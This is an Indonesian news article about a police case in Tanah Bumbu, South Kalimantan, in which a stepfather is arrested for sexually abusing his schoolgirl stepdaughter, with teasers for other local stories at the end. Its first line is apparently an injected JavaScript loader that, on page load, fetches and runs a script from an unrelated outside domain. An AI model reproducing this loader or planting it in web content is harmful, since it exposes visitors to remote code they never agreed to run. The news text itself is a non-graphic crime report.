(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Ayah Tiri di Satui Tega Lakukan Perbuatan Tidak Senonoh pada Anaknya


KANALKALIMANTAN.COM, BATULICIN – Pelajar perempuan di Kabupaten Tanah Bumbu menjadi korban pelecehan seksual oleh ayah tiri sendiri. Korban diketahui masih duduk di bangku salah satu sekolah di Kecamatan Satui.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas Polres Tanbu AKP Saryanto membenarkan peristiwa pelecehan seksual terhadap anak tersebut kepada awak media, Selasa (6/12/2022) siang.

Kasi Humas Polres Tanbu mengungkapkan, perbuatan tersangka kepada korban terjadi pada Jumat (2/12/2022) malam sekitar pukul 23.00 Wita, di dalam rumah korban.

Kepada polisi, pelapor yakni ibu yang juga istri tersangka, menyampaikan dirinya mengetahui kejadian tersebut usai mendengar aduan dari sang anak.

 

Baca juga : Jadi Kunjungan APEKSI Regional Kalimantan, Kampung Pejabat Kenalkan Jamu Samilakor

“Korban mengaku kepada ibunya bahwa dirinya telah dilecehkan oleh bapak tirinya atau suami pelapor dengan cara dipegang kemaluan dan dada anaknya,” jelas Kasi Humas Polres Tanbu.

Atas kejadian tersebut, sang ibu yang tidak terima kemudian melaporkan perbuatan suaminya tersebut ke Polsek Satui guna proses hukum lebih lanjut.

Sementara itu, tersangka yang telah diamankan polisi mengakui perbuatan tidak senonoh yang dilakukannya kepada anak tirinya.

Baca juga  : UNIQLO Buka Toko di Duta Mall 9 Desember, Gandeng Produk Lokal Banjarmasin

Dari penangkapan tersangka, polisi juga mengamankan barang bukti berupa 1  pasang baju tidur warna merah maron tanpa merk, 1 lembar kaos dalam warna hitam tanpa merk, 1 lembar celana panjang warna hitam tanpa merk, 1 lembar BH warna biru tua tanpa merk dan 1 lembar celana dalam warna biru muda tanpa merk.

“Perbuatan tersangka ini dijerat dengan dugaan tindak pidana perbuatan vabul terhadap anak dibawah umur sebagaimana dimaksud dalam Pasal 82 UU RI No 35 tahun 2014 tentang Perubahan Atas UU RI No 23 tahun 2002 tentang Perlindungan Anak,” ungkap AKP Saryanto. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.